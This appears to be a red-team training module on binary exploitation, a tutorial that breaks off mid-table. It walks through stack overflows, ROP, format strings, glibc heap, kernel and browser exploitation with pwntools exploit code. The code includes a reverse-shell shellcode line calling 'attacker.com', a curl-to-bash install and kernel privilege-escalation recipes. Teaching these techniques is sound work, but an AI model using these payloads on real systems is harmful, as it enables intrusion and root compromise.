Binary Exploitation Deep Dive
Binary Exploitation Deep Dive
[MODE: RED] | CIPHER Training Module | Last updated: 2026-03-14
Table of Contents
- Toolchain & Environment
- Stack-Based Buffer Overflows
- Return-Oriented Programming (ROP)
- Format String Exploitation
- Heap Exploitation
- Kernel Exploitation
- Browser Exploitation
- Mitigation Bypass Techniques
- Methodology & Workflow
1. Toolchain & Environment
1.1 Debuggers
pwndbg (GDB Plugin)
- Purpose: Enhanced GDB for exploit development and reverse engineering
- Key features: Context display (registers, stack, disassembly, backtrace in one view), heap inspection commands, memory search, telescope command, enhanced breakpoint management
- Arch support: x86/x64, ARM, AARCH64, MIPS, PowerPC, RISC-V
- Requirements: GDB 12.1+, Python 3.10+
- Install:
pip install pwndbgor clone +./setup.sh - Key commands:
context-- full state displayheap/bins/vis_heap_chunks-- heap state inspectiontelescope $rsp 20-- dereference chain from stack pointersearch -s "/bin/sh"-- find strings in memoryvmmap-- virtual memory map with permissionschecksec-- binary security propertiescyclic 200/cyclic -l 0x61616166-- pattern create/offset findgot-- GOT table displayplt-- PLT entriesretaddr-- find return addresses on stackrop-- search for ROP gadgets
GEF (GDB Enhanced Features)
- Purpose: Single-file GDB extension, zero dependencies
- Arch support: x86-32/64, ARMv5/6/7, AARCH64, SPARC, MIPS, PowerPC
- Key features: Pattern generation, ROP assistance, heap analysis, format string helpers, runtime memory inspection
- Install:
bash -c "$(curl -fsSL https://gef.blah.cat/sh)" - Key commands:
gef config-- runtime configurationpattern create 100/pattern offset $pcheap chunks/heap binsformat-string-helper-- automated format string analysisxinfo <addr>-- detailed address informationscan-- search for value patterns in memory
1.2 Exploit Development Frameworks
pwntools (Python)
- Purpose: CTF and exploit development framework
- Key modules:
pwn.tubes-- I/O abstraction (process, remote, SSH, serial)pwn.elf-- ELF parsing, symbol/GOT/PLT resolutionpwn.rop-- Automated ROP chain constructionpwn.shellcraft-- Shellcode generation (multi-arch)pwn.fmtstr-- Format string exploit automationpwn.asm/pwn.disasm-- Inline assembly/disassemblypwn.dynelf-- Remote symbol resolution via info leakpwn.gdb-- GDB integration for debugging exploits
- Supported architectures: x86, x64, ARM, AARCH64, MIPS, PowerPC, SPARC
- Install:
pip install pwntools - Core patterns:
from pwn import *
# Connect to target
p = process('./vuln') # local
p = remote('target.com', 1337) # remote
# ELF analysis
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
# ROP chain
rop = ROP(elf)
rop.call('system', [next(elf.search(b'/bin/sh'))])
# Format string
payload = fmtstr_payload(offset, {elf.got['printf']: elf.sym['win']})
# Shellcode
shellcode = asm(shellcraft.sh())
# Send payload
p.sendline(payload)
p.interactive()
1.3 Gadget Finders
ROPgadget
- Formats: ELF, PE, Mach-O, Raw
- Architectures: x86, x64, ARM, ARM64, MIPS, PowerPC, SPARC, RISC-V 64, RISC-V Compressed
- Search engines: ROP (ret-terminated), JOP (jmp-terminated), SYS (syscall gadgets)
- Features: Automated ROP chain generation, opcode search, regex filtering, bad byte rejection, configurable search depth
- Usage:
ROPgadget --binary ./vuln # find all gadgets
ROPgadget --binary ./vuln --ropchain # auto-generate chain
ROPgadget --binary ./vuln --only "pop|ret" # filter gadgets
ROPgadget --binary ./vuln --badbytes "0a0d00" # exclude bad chars
ROPgadget --binary ./vuln --depth 15 # deeper search
ROPgadget --binary ./vuln --string "/bin/sh" # find strings
ROPgadget --binary ./vuln --opcode "c3" # find by opcode
ROPgadget --binary ./vuln --range 0x400000-0x500000 # address range
one_gadget
- Purpose: Find single-gadget
execve('/bin/sh', NULL, NULL)offsets in libc - Architectures: i386, amd64, aarch64
- Usage:
one_gadget /lib/x86_64-linux-gnu/libc.so.6 # find gadgets
one_gadget -b <buildid> # by build ID
one_gadget /path/to/libc --near exit,mkdir # near functions
one_gadget /path/to/libc --level 1 # show all gadgets
one_gadget /path/to/libc --script exploit.sh # iterate with script
- Output: Offset + constraints (e.g.,
[rsp+0x70] == NULL, register requirements) - Integration: Use offset + libc base to overwrite
__malloc_hook,__free_hook, GOT entries, or return addresses
1.4 Static Analysis & Reverse Engineering
Ghidra (NSA)
- Key features: Decompiler (C pseudocode output), disassembly, control flow graphing, scripting (Java/Python), collaborative multi-user RE, data type management, cross-references, patch diffing
- Processor support: x86, x64, ARM, AARCH64, MIPS, PowerPC, SPARC, AVR, PIC, 68K, and many more
- Use in VR: Identify vulnerable functions, trace data flows, understand heap object layouts, find gadgets in decompiled output, analyze patch diffs for 1-day development
radare2
- Key features: Disassembly (50+ architectures), debugging (local + remote gdb/windbg), binary analysis, emulation (ESIL), scripting (r2pipe, embedded JS), hex editing
- Key commands:
aaa(analyze),afl(list functions),pdf(disassemble function),s(seek),px(hexdump),VV(visual graph mode) - Extensions: r2ghidra (decompiler), r2frida (dynamic instrumentation), r2dec (decompiler)
Rizin (radare2 fork)
- Improvements over r2: Cleaner codebase, better API stability, improved usability
- Scripting: rzpipe (Python, Rust, Go, Ruby, Haskell, OCaml)
- Tools:
rz-asm(assembler),rz-diff(binary diffing),rz-hash(hashing),rz-find(pattern search)
angr (Symbolic Execution)
- Key features: Symbolic execution, CFG recovery, value-set analysis, binary lifting to VEX IR, constraint solving (z3), program instrumentation, decompilation
- Use cases: Automated exploit generation, CTF solving, vulnerability discovery, patch analysis
- Core API:
import angr
proj = angr.Project('./binary')
state = proj.factory.entry_state()
simgr = proj.factory.simulation_manager(state)
simgr.explore(find=0x401234, avoid=0x401300) # find path to target
print(simgr.found[0].posix.dumps(0)) # extract input
2. Stack-Based Buffer Overflows
2.1 Stack Layout (x86-64)
High addresses
+---------------------------+
| main() locals |
+---------------------------+
| return address (RIP) | <-- overwrite target
+---------------------------+
| saved RBP (SFP) | <-- saved frame pointer
+---------------------------+
| vuln() local buffer | <-- overflow source
+---------------------------+
| ... |
Low addresses
Key registers:
RSP/ESP-- stack pointer (top of stack)RBP/EBP-- base/frame pointer (bottom of current frame)RIP/EIP-- instruction pointer (next instruction to execute)
2.2 Exploitation Methodology
Phase 1: Reconnaissance
# Check binary protections
checksec --file=./vuln
# Output: RELRO, Stack Canary, NX, PIE, RPATH, RUNPATH, Symbols, FORTIFY
file ./vuln # architecture, linking, stripped?
strings ./vuln # interesting strings, function names
readelf -s ./vuln # symbol table
objdump -d ./vuln # full disassembly
ldd ./vuln # linked libraries
Phase 2: Vulnerability identification
- Dangerous functions:
gets(),strcpy(),strcat(),sprintf(),scanf("%s"),read()with wrong size - Look for: missing bounds checks, off-by-one errors, integer overflows affecting buffer sizes
- Decompile in Ghidra: trace user input to buffer operations, note buffer sizes vs. input limits
Phase 3: Offset determination
# Method 1: cyclic pattern (pwntools)
from pwn import *
cyclic(200) # generate pattern
cyclic_find(0x61616166) # find offset from crash value
# Method 2: GDB
# gdb> pattern create 200
# gdb> run < <(python3 -c "print('A'*200)")
# gdb> pattern offset $rsp
Phase 4: Control flow hijack
from pwn import *
offset = 72 # determined from Phase 3
target = 0x401234 # win function / shellcode / ROP chain
payload = b'A' * offset
payload += p64(target)
p = process('./vuln')
p.sendline(payload)
p.interactive()
2.3 Shellcode Injection (NX disabled)
When the stack is executable (no NX/DEP):
from pwn import *
context.arch = 'amd64'
shellcode = asm(shellcraft.sh()) # execve('/bin/sh', 0, 0)
# NOP sled + shellcode approach
nop_sled = asm('nop') * 100
payload = nop_sled + shellcode
payload += b'A' * (offset - len(payload))
payload += p64(stack_addr) # jump into NOP sled
Common shellcodes:
shellcraft.sh()--/bin/shshellcraft.cat('flag.txt')-- read fileshellcraft.connect('attacker.com', 4444) + shellcraft.dupsh()-- reverse shellshellcraft.syscall('SYS_execve', '/bin/sh', 0, 0)-- raw syscall
2.4 ret2win (Simplest Case)
Binary contains a "win" function that prints the flag or spawns a shell:
payload = b'A' * offset + p64(elf.sym['win'])
For x86-64, if the target function takes arguments:
rop = ROP(elf)
rop.raw(b'A' * offset)
rop.call('win', [0xdeadbeef, 0xcafebabe]) # sets up RDI, RSI via gadgets
p.sendline(rop.chain())
2.5 ret2libc
Redirect execution to libc functions (bypasses NX):
# Need: libc base address (via leak)
libc_base = leaked_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
# x86-64: arguments via registers
rop = ROP(elf)
rop.raw(b'A' * offset)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
rop.raw(p64(pop_rdi))
rop.raw(p64(bin_sh_addr))
rop.raw(p64(system_addr))
p.sendline(rop.chain())
2.6 Stack Pivoting
When overflow length is limited, pivot the stack to a controlled region:
Gadgets needed:
leave; ret --> mov rsp, rbp; pop rbp; ret
xchg rsp, rax
pop rsp; ret
# Write ROP chain to known-address buffer (e.g., .bss, heap)
# Then pivot:
payload = b'A' * (offset - 8)
payload += p64(controlled_buffer_addr) # new RBP
payload += p64(leave_ret_gadget) # leave; ret -> pivots to buffer
3. Return-Oriented Programming (ROP)
3.1 Core Concept
ROP chains together small instruction sequences ("gadgets") ending in ret that already exist in the binary/libraries. Each gadget performs a small operation (pop register, move data, syscall), and the chain of return addresses on the stack sequences them into arbitrary computation. [CONFIRMED]
3.2 Gadget Types
| Gadget Class | Example | Purpose |
|---|---|---|
| Register load | pop rdi; ret |
Set function arguments |
| Register move | mov rdi, rax; ret |
Transfer values between registers |
| Memory read | mov rax, [rdi]; ret |
Arbitrary read primitive |
| Memory write | mov [rdi], rax; ret |
Arbitrary write primitive |
| Syscall | syscall; ret |
Invoke kernel |
| Stack pivot | xchg rsp, rax; ret |
Redirect stack |
| Arithmetic | add rax, rbx; ret |
Compute values |
| Conditional | cmovne rax, rbx; ret |
Conditional data flow |
| NOP equivalent | ret |
Stack alignment (16-byte) |
3.3 x86-64 Calling Convention
Argument 1: RDI
Argument 2: RSI
Argument 3: RDX
Argument 4: RCX
Argument 5: R8
Argument 6: R9
Syscall number: RAX
Syscall instruction: syscall
Return value: RAX
Stack alignment: x86-64 System V ABI requires 16-byte stack alignment before call. Misalignment causes SIGSEGV in libc functions using SSE (e.g., system(), printf()). Fix: insert an extra ret gadget before the call.
3.4 ROP Chain Construction Methodology
Step 1: Enumerate gadgets
ROPgadget --binary ./vuln --only "pop|ret"
ROPgadget --binary ./vuln --only "mov|ret"
ROPgadget --binary ./libc.so.6 --ropchain # auto-chain
ropper --file ./vuln --search "pop rdi"
Step 2: Plan the chain
Goal: execve("/bin/sh", NULL, NULL)
Chain plan:
pop rax; ret -> 0x3b (SYS_execve)
pop rdi; ret -> addr of "/bin/sh"
pop rsi; ret -> 0x0 (NULL)
pop rdx; ret -> 0x0 (NULL)
syscall; ret
Step 3: Build with pwntools
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
# Manual chain
chain = p64(pop_rax) + p64(0x3b)
chain += p64(pop_rdi) + p64(bin_sh_addr)
chain += p64(pop_rsi) + p64(0)
chain += p64(pop_rdx) + p64(0)
chain += p64(syscall_ret)
# Or automated
rop = ROP([elf, libc])
rop.execve(bin_sh_addr, 0, 0)
chain = rop.chain()
3.5 Sigreturn-Oriented Programming (SROP)
Abuse the sigreturn syscall to set all registers at once:
from pwn import *
frame = SigreturnFrame()
frame.rax = 0x3b # SYS_execve
frame.rdi = bin_sh_addr # "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
frame.rsp = stack_addr # for stack continuation
payload = b'A' * offset
payload += p64(pop_rax)
payload += p64(0xf) # SYS_rt_sigreturn
payload += p64(syscall_addr)
payload += bytes(frame)
3.6 ret2csu / ret2dlresolve
ret2csu: Abuse __libc_csu_init gadgets (present in most ELFs) for controlling RDI, RSI, RDX:
Gadget 1 (pop sequence):
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
Gadget 2 (call + move):
mov rdx, r14; mov rsi, r13; mov edi, r12d
call [r15 + rbx*8]
ret2dlresolve: Force the dynamic linker to resolve an arbitrary symbol:
from pwn import *
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.read(0, dlresolve.data_addr) # read payload into .bss
rop.ret2dlresolve(dlresolve)
4. Format String Exploitation
4.1 Vulnerability Mechanism
When user input is passed directly as the format string argument:
// VULNERABLE
printf(user_input);
// SAFE
printf("%s", user_input);
The printf family reads arguments from the stack (32-bit) or registers then stack (64-bit) according to format specifiers. Attacker-controlled format strings let you read from and write to arbitrary memory. [CONFIRMED]
4.2 Key Specifiers
| Specifier | Action | Use Case |
|---|---|---|
%x |
Print DWORD hex from stack | Leak stack values |
%lx |
Print QWORD hex from stack | Leak 64-bit values |
%p |
Print pointer (with 0x prefix) | Leak addresses |
%s |
Dereference as char pointer, print string | Arbitrary read |
%n |
Write count of chars printed to address | Arbitrary write (4 bytes) |
%hn |
Write count as short (2 bytes) | Partial write |
%hhn |
Write count as byte (1 byte) | Byte-level write |
%N$x |
Direct parameter access (positional) | Target specific stack offset |
4.3 Information Leak Methodology
Step 1: Find offset -- determine which positional argument contains your input:
# Send "AAAA.%p.%p.%p.%p.%p.%p.%p.%p"
# Look for 0x41414141 in output -> that's your offset
# Automated
for i in range(1, 50):
p = process('./vuln')
p.sendline(f'AAAA%{i}$x')
result = p.recvline()
if b'41414141' in result:
print(f'Offset: {i}')
break
p.close()
Step 2: Leak specific addresses:
# Leak GOT entry (get libc address)
payload = p64(elf.got['puts']) + b'%7$s' # offset 7 example
# Note: on 64-bit, null bytes in addresses can terminate printf
# Solution: put address AFTER format specifier
payload = b'%9$s' + b'PADDING' + p64(elf.got['puts'])
Step 3: Leak stack canary, saved RBP, return address:
# Stack canary is typically at a known offset
# Canaries on x86-64 always end in \x00 (null byte)
canary = int(p.recv(16), 16) # from %X$p leak
4.4 Arbitrary Write
Basic write: %n writes the number of characters output so far:
# Write value 0x42 to target_addr
# Output 0x42 = 66 characters, then %n
payload = b'A' * 66 + b'%7$n' # writes 66 to addr at offset 7
Large value writes: Split into 2-byte or 1-byte writes:
# Write 0xdeadbeef to target
# %hn writes: 2 bytes at a time
# %hhn writes: 1 byte at a time
# Use width specifier to control count: %100c pads 100 chars
pwntools automation:
from pwn import *
# Overwrite GOT entry: printf -> system
writes = {elf.got['printf']: elf.sym['system']}
payload = fmtstr_payload(offset, writes, numbwritten=0)
# With custom settings
payload = fmtstr_payload(
offset,
writes,
numbwritten=0, # bytes already printed
write_size='short', # 'byte', 'short', or 'int'
)
4.5 GOT Overwrite via Format String
Classic technique combining arbitrary write with GOT hijacking:
# Overwrite printf@GOT with system@PLT
# Next call to printf(user_input) becomes system(user_input)
# Send "/bin/sh" as input -> shell
payload = fmtstr_payload(offset, {elf.got['printf']: elf.sym['system']})
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()
4.6 Format String to Full Exploit Chain
- Leak libc via
%son GOT entry -> calculate libc base - Leak stack canary via
%pat known offset -> bypass canary - Leak stack address via
%p-> defeat ASLR on stack - Write one_gadget or
systemaddress to__malloc_hook,__free_hook, GOT entry, or return address - Trigger the hijacked pointer
5. Heap Exploitation
5.1 glibc malloc Internals
Chunk structure (allocated):
+-------------------+
| prev_size (8B) | (only if previous chunk is free)
+-------------------+
| size | A | M | P | size of chunk, flags: non-main arena, mmap'd, prev-in-use
+-------------------+
| user data | <-- returned pointer
| ... |
+-------------------+
Chunk structure (freed):
+-------------------+
| prev_size (8B) |
+-------------------+
| size | A | M | P |
+-------------------+
| fd (fwd pointer) | <-- points to next free chunk
+-------------------+
| bk (back pointer) | <-- points to previous free chunk
+-------------------+
| ... |
+-------------------+
Bin types:
- Tcache (glibc >= 2.26): Per-thread cache, singly-linked LIFO, 64 bins (size 0x20-0x410), 7 entries each. Fastest allocation path, fewest security checks.
- Fastbins: Singly-linked LIFO, 10 bins (size 0x20-0xb0 on x64). No coalescing. Basic double-free check (head comparison only).
- Unsorted bin: Doubly-linked, single bin. Recently freed chunks land here first (except fastbin/tcache-sized). Acts as a cache before sorting into small/large bins.
- Small bins: Doubly-linked FIFO, 62 bins (size 0x20-0x3f0). Exact-size matching.
- Large bins: Doubly-linked, sorted by size, 63 bins. Range-based sizing.
5.2 Use-After-Free (UAF) -- T1210
Concept: Object is freed but pointer is still accessible. Attacker allocates new object of same size that occupies the freed memory, then uses the dangling pointer to access/modify the new object.
struct user {
char name[32];
int is_admin;
};
struct user *u = malloc(sizeof(struct user));
free(u); // u is freed
// u is not set to NULL -> dangling pointer
char *evil = malloc(32); // may reuse same memory
memset(evil, 'A', 32);
evil[32] = 1; // overwrites u->is_admin
if (u->is_admin) { ... } // UAF: checks freed memory
Exploitation pattern:
- Allocate victim object (function pointer, vtable, etc.)
- Free victim object (dangling pointer retained)
- Allocate attacker-controlled data of same size (occupies freed slot)
- Trigger use of dangling pointer -> attacker data interpreted as victim struct
5.3 Double Free
Concept: Free the same chunk twice to get it returned by malloc twice, enabling overlapping allocations.
Classic fastbin double free (fastbin_dup):
void *a = malloc(0x20);
void *b = malloc(0x20); // prevent consecutive same-chunk check
free(a);
free(b);
free(a); // a is now in fastbin twice: a -> b -> a
void *c = malloc(0x20); // returns a
// Write target address into c's fd pointer
*(size_t *)c = target_addr;
void *d = malloc(0x20); // returns b
void *e = malloc(0x20); // returns a again
void *f = malloc(0x20); // returns target_addr!
Tcache double free -- glibc 2.26-2.28 had no double-free check:
free(a);
free(a); // worked directly, no interleave needed
glibc >= 2.29: Tcache key field prevents naive double free. Bypass: corrupt the key field before second free, or use house_of_botcake (free into tcache, fill tcache, free into unsorted bin, create overlapping chunks).
5.4 Tcache Poisoning (glibc >= 2.26)
Overwrite the fd pointer of a freed tcache chunk to return arbitrary addresses:
void *a = malloc(0x20);
free(a);
// Overwrite a->fd (via UAF, overflow, etc.)
*(size_t *)a = target_addr; // point fd to target
void *b = malloc(0x20); // returns a
void *c = malloc(0x20); // returns target_addr
glibc >= 2.32: Safe-linking (PROTECT_PTR) encrypts fd pointers:
fd_encrypted = (chunk_addr >> 12) ^ target_addr
Bypass: leak a heap address to recover the XOR key, then encrypt your target address.
5.5 House-of Techniques
House of Force (glibc < 2.29)
Overwrite the top chunk size to a very large value (e.g., 0xffffffffffffffff), then request a carefully calculated allocation size to make the top chunk pointer wrap around to a target address. Next malloc returns near target.
# Overwrite top chunk size to -1 (0xffffffffffffffff)
# Calculate distance: target_addr - top_chunk_addr - header_size
# malloc(distance) -> advances top chunk to target
# malloc(0x20) -> returns target area
House of Spirit
Create a fake chunk in attacker-controlled memory (e.g., stack), free it into the fastbin/tcache, then malloc returns the fake chunk, giving control over the target region.
// Fake chunk on stack/bss
size_t fake_chunk[4];
fake_chunk[0] = 0; // prev_size
fake_chunk[1] = 0x40; // size (valid fastbin/tcache size + prev_inuse)
// Also need valid next chunk size for fastbin security check
free(&fake_chunk[2]); // free fake chunk
void *p = malloc(0x30); // returns &fake_chunk[2]
House of Einherjar
Exploit a single null byte overflow to manipulate chunk consolidation:
- Overflow null byte into next chunk's size field, clearing PREV_INUSE flag
- Set fake
prev_sizeto point backward to a fake chunk - When the corrupted chunk is freed, backward consolidation merges with the fake chunk
- Next allocation overlaps controlled memory
House of Orange (glibc < 2.26)
Achieve code execution without calling free():
- Corrupt top chunk size to trigger
sysmalloc-> frees old top chunk into unsorted bin - Forge fake
_IO_FILE_plusstructure in the freed chunk - Trigger
_IO_flush_all_lockp(via malloc failure, exit, etc.) - Vtable hijack executes attacker's function pointer
House of Botcake (glibc >= 2.26)
Bypass tcache double-free protections:
- Fill tcache bin (7 entries)
- Free chunk A -> goes to unsorted bin
- Free chunk B (adjacent to A) -> consolidation with A in unsorted bin
- Drain one tcache entry
- Free B again -> goes to tcache (double free: B is in both unsorted and tcache)
- Malloc to get overlapping regions
House of Lore
Corrupt smallbin bk pointer to return nearly arbitrary address:
- Free chunk into smallbin
- Corrupt bk pointer to point to fake chunk
- Fake chunk's bk must point to a writable address
- Two allocations from smallbin: first returns real chunk, second returns fake chunk
House of Storm (glibc < 2.29)
Combine unsorted bin and large bin attacks:
- Free two chunks: one into unsorted bin, one into large bin
- Corrupt unsorted bin chunk's bk and large bin chunk's bk_nextsize
- Malloc triggers sorting into large bin, writing pointers to target
- Next malloc from unsorted bin returns near target address
House of Roman (glibc < 2.29)
Achieve RCE without any leaks using relative overwrites:
- Partial overwrite fastbin fd to redirect to
__malloc_hookregion - Partial overwrite of
__malloc_hookto one_gadget offset - Trigger allocation to execute one_gadget
- Relies on 4-bit bruteforce (1/16 probability) due to ASLR partial page randomization
House of Water (leakless, latest glibc)
Gain tcache metadata control without leaking addresses:
- Manipulate tcache metadata through carefully sequenced allocations and frees
- Achieve libc linking through controlled heap state
- Works against PROTECT_PTR by controlling the XOR key
House of Tangerine (glibc >= 2.26)
Top chunk manipulation targeting tcache:
- Corrupt top chunk to trigger
sysmalloc - Old top chunk goes through free path into tcache
- Control tcache entries through the freed top chunk
5.6 Unsorted Bin Attack (glibc < 2.29)
Overwrite the bk pointer of a chunk in the unsorted bin. When the chunk is removed, unsorted_bin->bk->fd is written with the address of the unsorted bin (a libc main_arena address). Useful for overwriting global_max_fast to expand fastbin range.
5.7 Large Bin Attack
Corrupt bk_nextsize or bk of a large bin chunk. When a new chunk is sorted into the bin, pointers are written to attacker-controlled locations. Used to write heap/libc addresses to arbitrary memory (e.g., _IO_list_all, global_max_fast).
5.8 Safe-Linking Bypass (glibc >= 2.32)
Tcache and fastbin fd pointers are now encrypted:
#define PROTECT_PTR(pos, ptr) ((size_t)(pos) >> 12) ^ (size_t)(ptr)
#define REVEAL_PTR(pos, ptr) PROTECT_PTR(pos, ptr) // same operation
Bypass methods:
- Leak heap address -> recover XOR key (
heap_addr >> 12) decrypt_safe_linking: First freed chunk has fd =(chunk_addr >> 12) ^ 0=chunk_addr >> 12, directly leaking the keysafe_link_double_protect: Apply PROTECT_PTR twice to cancel out encryption
5.9 Heap Inspection Commands
# pwndbg
heap # overview
bins # all bin contents
vis_heap_chunks # visual chunk layout
tcachebins # tcache state
fastbins # fastbin state
unsortedbin # unsorted bin
smallbins / largebins # sorted bins
find_fake_fast <addr> # find nearby fake fastbin candidates
malloc_chunk <addr> # parse chunk at address
top_chunk # top chunk info
# GEF
heap chunks
heap bins
heap arenas
6. Kernel Exploitation
6.1 Kernel Attack Surface
| Vector | Description | Examples |
|---|---|---|
| Syscalls | Kernel entry points from userspace | ioctl, bpf, socket operations |
| Drivers | Device driver interfaces | /dev/*, USB, network drivers |
| File systems | VFS and FS implementations | ext4, fuse, overlayfs |
| Networking | Protocol implementations | Netfilter, nftables, TCP/IP stack |
| eBPF | In-kernel bytecode engine | Verifier bypass, JIT bugs |
6.2 Vulnerability Classes
Use-After-Free: Most common kernel vuln class. Objects freed in one path, referenced in another. Often race-condition triggered.
- Cross-cache UAF: victim object and spray object in different slab caches
- Page-level UAF: exploit page allocator instead of slab allocator
Race Conditions: TOCTOU, scheduler-based, interrupt-based.
userfaultfd: trap kernel on page fault in user-controlled memory, widen race windowFUSE: similar page-fault trapping via filesystemio_uring: asynchronous syscall interface creating new race surfaces
Heap Overflow: Write beyond allocated slab object boundary.
- Target adjacent objects in same slab cache
- Heap feng shui: shape slab layout via controlled allocations/deallocations
Integer Overflow/Truncation: Size calculations that wrap or truncate, leading to undersized allocations.
Type Confusion: Object interpreted as wrong type after complex state transitions.
6.3 Kernel Exploit Primitives
Arbitrary read:
msg_msgstructure spray (kmalloc-64 through kmalloc-4096)seq_operationsread primitive- Pipe buffer manipulation
add_key+keyctl_readfor reading kernel memory
Arbitrary write:
msg_msgwith corrupted segment pointer- Pipe buffer with corrupted page pointer (Dirty Pipe, CVE-2022-0847)
modprobe_pathoverwrite (data-only, no code execution needed)credstructure modification
Code execution:
commit_creds(prepare_kernel_cred(0))-> root- ROP chain via corrupted function pointer
- JIT spray (eBPF, historical)
6.4 Kernel Mitigations
| Mitigation | What it Protects | Bypass Technique |
|---|---|---|
| KASLR | Randomizes kernel base address | Info leak, side-channel (EntryBleed CVE-2022-4543), timing attacks, prefetch-based |
| SMEP | Prevents kernel executing userspace pages | ROP in kernel, ret2dir |
| SMAP | Prevents kernel accessing userspace memory | Kernel ROP to disable, copy_from_user gadgets |
| KPTI | Separate page tables for kernel/user | Already in kernel context during exploit |
| CFI/FineIBT | Indirect call target validation | Data-only attacks, type-confused targets, gadgets at valid targets |
| SLAB randomization | Randomize slab freelist order | Cross-cache spray, heap feng shui |
| Freelist hardening | Encrypt slab freelists (similar to safe-linking) | Info leak to recover key |
| Stack canaries | Detect stack buffer overflow | Info leak, direct jump over canary |
| SELinux/AppArmor | MAC restrictions on exploit impact | Namespace escapes, allowed operations only |
6.5 Kernel Exploitation Methodology
Phase 1: Environment setup
# Build vulnerable kernel
make menuconfig # disable KASLR, SMEP, SMAP for initial dev
# Boot with: nokaslr nosmep nosmap
# QEMU testing
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio \
-append "console=ttyS0 nokaslr" \
-nographic -s -S # -s for gdb, -S to pause
Phase 2: Trigger vulnerability
// Typical kernel exploit skeleton
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
int main() {
int fd = open("/dev/vulnerable", O_RDWR);
// Trigger UAF / overflow / race
ioctl(fd, VULN_IOCTL, &payload);
// Spray objects to reclaim freed memory
for (int i = 0; i < SPRAY_COUNT; i++) {
// Use msg_msg, pipe_buffer, add_key, etc.
}
// Trigger use of dangling pointer
// -> reads/writes attacker-controlled object
return 0;
}
Phase 3: Privilege escalation
// Option 1: commit_creds (requires code execution)
void escalate() {
commit_creds(prepare_kernel_cred(NULL));
}
// Option 2: modprobe_path overwrite (data-only)
// Overwrite modprobe_path to "/tmp/x"
// /tmp/x contains: #!/bin/sh\nchmod 777 /flag
// Trigger unknown binary format -> kernel executes /tmp/x as root
// Option 3: cred structure overwrite
// Find current task's cred struct, set uid/gid/euid/egid to 0
// After escalation:
system("/bin/sh");
6.6 Notable Kernel Exploits
| CVE | Vuln Type | Technique | Impact |
|---|---|---|---|
| CVE-2022-0847 (Dirty Pipe) | Logic bug in pipe splice | Pipe buffer page cache poisoning | Arbitrary file overwrite |
| CVE-2024-1086 | UAF in nftables | Double-free, DirtyCred | LPE, container escape |
| CVE-2021-22555 | Heap OOB write in Netfilter | msg_msg spray, modprobe_path | LPE |
| CVE-2022-0185 | Heap overflow in VFS | msg_msg, cred overwrite | LPE, container escape |
| CVE-2020-8835 | eBPF verifier bypass | OOB r/w, modprobe_path | LPE |
| CVE-2022-2588 | UAF in route4 | Cross-cache, DirtyCred | LPE |
| CVE-2022-34918 | Heap overflow in nftables | msg_msg, ROP | LPE |
6.7 Kernel Debugging Setup
# GDB with pwndbg/GEF
gdb vmlinux
target remote :1234 # connect to QEMU gdbserver
# Useful commands
lx-ps # list processes
lx-symbols # load kernel module symbols
p init_task # kernel task struct
p &modprobe_path # find modprobe_path address
7. Browser Exploitation
7.1 Attack Surface
Modern browsers present a multi-layered attack surface:
| Component | Vulnerability Class | Sandbox Escape Needed? |
|---|---|---|
| JavaScript engine (V8, SpiderMonkey, JSC) | JIT bugs, type confusion, OOB access | Yes (renderer sandbox) |
| DOM/Blink/WebKit renderer | UAF, type confusion, buffer overflow | Yes |
| WebAssembly | Memory safety issues, JIT bugs | Yes |
| Browser IPC/Mojo | Logic bugs, race conditions | Provides escape itself |
| GPU process | Shader compiler bugs, driver vulns | Depends on architecture |
| Network stack | Parser bugs, protocol confusion | Yes |
| PDF/Media parsers | Memory corruption | Yes |
7.2 JavaScript Engine Exploitation
JIT Compilation Bugs:
- JIT compilers make optimistic type assumptions
- Incorrect type speculation -> type confusion in JIT-compiled code
- Bounds check elimination errors -> OOB array access
- Turbofan (V8) / IonMonkey (SpiderMonkey) / DFG/FTL (JSC) are common targets
Type Confusion Pattern:
// Trigger JIT compilation with type-stable inputs
function vuln(arr) {
// JIT assumes arr is always Array<SMI>
return arr[0]; // compiled without bounds check
}
// Force type change -> JIT code operates on wrong object layout
// arr[0] read with wrong type -> info leak or arbitrary read
Exploit Primitive Construction:
- addrof: Get the memory address of a JavaScript object
- fakeobj: Create a fake JS object from a controlled address
- Arbitrary R/W: Use fake ArrayBuffer backing store pointer
- Code execution: Overwrite JIT code page (RWX in some engines), WASM instance, or leverage
WebAssembly.Instance
V8 Exploitation Flow:
Bug trigger -> Type confusion / OOB
-> addrof/fakeobj primitives
-> Fake ArrayBuffer with controlled backing store
-> Arbitrary read/write
-> Corrupt WASM RWX page or JIT code
-> Shellcode execution in renderer
-> Sandbox escape (separate bug needed)
7.3 Sandbox Escape
Browsers isolate the renderer in a sandbox. Full exploitation requires escaping:
- IPC/Mojo bugs: Renderer communicates with browser process via Mojo IPC. Logic bugs in message handling can give arbitrary browser process operations.
- Kernel exploits: Escape via OS-level vulnerability (Chrome on Android often chains renderer bug + kernel LPE).
- GPU process: Less sandboxed than renderer on some platforms. GPU bugs can provide an intermediate escape.
- Site isolation bypass: Access cross-origin data without full sandbox escape (lower impact but still critical).
7.4 Mitigations in Browser Engines
| Mitigation | Engine | Effect |
|---|---|---|
| V8 Heap Sandbox | V8 (Chrome) | Isolates V8 heap, compressed pointers, prevents arbitrary R/W from escaping V8's heap region |
| Pointer compression | V8 | 32-bit object pointers, limits addressable range |
| CFI | All | Validates indirect call targets |
| Memory Tagging (MTE) | Android Chrome | Probabilistic UAF detection |
| Oilpan (garbage collector) | Blink | Mitigates UAF in DOM objects |
| PartitionAlloc | Chrome | Separate heaps per object type |
| Renderer sandbox | All | OS-level process isolation |
8. Mitigation Bypass Techniques
8.1 ASLR (Address Space Layout Randomization)
What it does: Randomizes base addresses of stack, heap, libraries, mmap regions, and (with PIE) the binary itself. Typically 28-40 bits of entropy on 64-bit systems.
Bypass techniques:
| Technique | Scenario | Method |
|---|---|---|
